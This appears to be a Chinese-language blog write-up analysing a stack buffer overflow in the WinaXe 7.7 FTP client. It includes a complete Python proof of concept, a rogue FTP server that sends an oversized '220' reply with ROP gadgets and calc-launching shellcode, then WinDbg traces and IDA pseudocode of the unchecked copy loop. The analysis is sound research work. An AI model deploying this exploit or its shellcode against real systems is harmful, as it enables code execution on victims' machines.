作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
WinaXe是Windows下一个综合管理工具,有很多管理小工具,其中FTP管理工具在连接FTP服务器的时候,如果通过构造一个特殊的FTP Server,当WinaXe FTP连接的时候,返回一个畸形数据包,会导致WinaXe栈溢出,导致返回地址被覆盖,从而引发代码执行,下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/14a4633750e37743871406a878b3780d-winaxe.exe
PoC:
import socket,struct
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
eip=struct.pack('<L',0x68084A6F) #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.
payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220' Exploit
port = 21
s = socket.socket()
host = '127.0.0.1'
s.bind((host, port))
s.listen(5)
print 'Evil FTPServer listening...'
while True:
conn, addr = s.accept()
conn.send('220'+payload+'\r\n')
conn.close()
这个漏洞属于客户端的问题,PoC开启21端口作为ftp的服务端,返回数据包触发漏洞,exploit-db上原版的exp是ruby的,我提供的是python的,可以选择使用。
漏洞复现
首先附加Windbg,运行PoC,会看到本地21端口打开,连接FTP服务器,程序崩溃。
0:001> p
eax=00000000 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=41414141 esp=015bd514 ebp=0000081b iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
41414141 ?? ???
通过kb回溯堆栈调用,发现堆栈已经被畸形数据覆盖
0:001> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
015bd510 000a0041 0042cc32 41303232 41414141 0x41414141
015bd514 0042cc32 41303232 41414141 41414141 0xa0041
015bd518 41303232 41414141 41414141 41414141 image00400000+0x2cc32
015bd51c 41414141 41414141 41414141 41414141 0x41303232
但是我们依然能看到一些回溯点,下面进行正向分析
漏洞分析
在正向跟踪中,我发现在接收到畸形字符串之后会进入一处循环。
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52a edi=015bd526
eip=0042cbff esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cbff:
0042cbff 8a4601 mov al,byte ptr [esi+1] ds:0023:015bf52b=41
0:001> dd esi
015bf52c 41414141 41414141 41414141 41414141
015bf53c 41414141 41414141 41414141 41414141
015bf54c 41414141 41414141 41414141 41414141
015bf55c 41414141 41414141 41414141 41414141
015bf56c 41414141 41414141 41414141 41414141
这个地方会将esi地址存放的值取出一字节交给al,随后进行赋值。而esi指针存放的就是接收到的畸形字符串,在esi指向的缓冲区中。
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52a edi=015bd526
eip=0042cc02 esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cc02:
0042cc02 83c602 add esi,2
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd526
eip=0042cc05 esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x2cc05:
0042cc05 884701 mov byte ptr [edi+1],al ds:0023:015bd527=00
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd526
eip=0042cc08 esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x2cc08:
0042cc08 83c702 add edi,2
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd528
eip=0042cc0b esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cc0b:
0042cc0b 3c00 cmp al,0
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd528
eip=0042cc0d esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cc0d:
0042cc0d 75e8 jne image00400000+0x2cbf7 (0042cbf7) [br=1]
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd528
eip=0042cbf7 esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cbf7:
0042cbf7 8a06 mov al,byte ptr [esi] ds:0023:015bf52c=41
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd528
eip=0042cbf9 esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cbf9:
0042cbf9 8807 mov byte ptr [edi],al ds:0023:015bd528=00
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd528
eip=0042cbfb esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cbfb:
0042cbfb 3c00 cmp al,0
0:001> p
eax=00000041 ebx=000003fe ecx=00000000 edx=000003fe esi=015bf52c edi=015bd528
eip=0042cbfd esp=015bd518 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x2cbfd:
0042cbfd 7410 je image00400000+0x2cc0f (0042cc0f) [br=0]
随后可以看到循环赋值,这个过程会将esi中存放的畸形字符串拷贝到栈中,而这个过程的结束标志仅仅是判断到没到缓冲区末尾,而没有对长度进行判断,通过IDA pro观察。
do
{
v27 = *v1;
*v26 = *v1;
if ( !v27 )
break;
v28 = v1[1];
v1 += 2;
v26[1] = v28;
v26 += 2;
}
while ( v28 );
随后程序会执行到后面的一处调用。
if ( BYTE1(v15) == 13 || BYTE1(v15) == 10 || *(&v34 + v4) == 10 )
{
if ( !(_BYTE)v36 && v2 > 3 && IsTable[(unsigned __int8)v30 + 1] & 0x20 )
{
sscanf_(&v30, aD_4, &dword_465104);
if ( dword_468520 && dword_465104 != 631 && dword_465104 != 632 && dword_465104 != 633 )
sub_404597();
sub_404597函数会处理栈中的数据,在处理过程结束时,会由于之前的覆盖,导致返回地址被覆盖。
0:001> g
!SETTRUE 0x680d0858ModLoad: 76ef0000 76f17000 C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 76d30000 76d48000 C:\WINDOWS\system32\iphlpapi.dll
ModLoad: 76f90000 76f96000 C:\WINDOWS\system32\rasadhlp.dll
Breakpoint 0 hit
eax=015bd51c ebx=0000001f ecx=ffff0d02 edx=0000001f esi=015bf540 edi=00000001
eip=0042cc2d esp=015bd51c ebp=0000081b iopl=0 nv up ei ng nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287
image00400000+0x2cc2d:
0042cc2d e86579fdff call image00400000+0x4597 (00404597)
0:001> dc esp
015bd51c 41303232 41414141 41414141 41414141 220AAAAAAAAAAAAA
015bd52c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015bd53c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015bd54c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015bd55c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015bd56c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015bd57c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
015bd58c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
看到传入时栈已经被覆盖满畸形数据了。
0:001> p
eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=00404595 esp=015bd50c ebp=0000081b iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x4595:
00404595 5b pop ebx
0:001> p
eax=00000000 ebx=41414141 ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=00404596 esp=015bd510 ebp=0000081b iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
image00400000+0x4596:
00404596 c3 ret
0:001> dd esp
015bd510 41414141 000a0041 0042cc32 41303232
随后执行结束到返回时,已经eip可控,从而导致可以执行任意代码,通过构造一个POP POP POP RET的序列,然后执行jmp esp可以到达shellcode位置。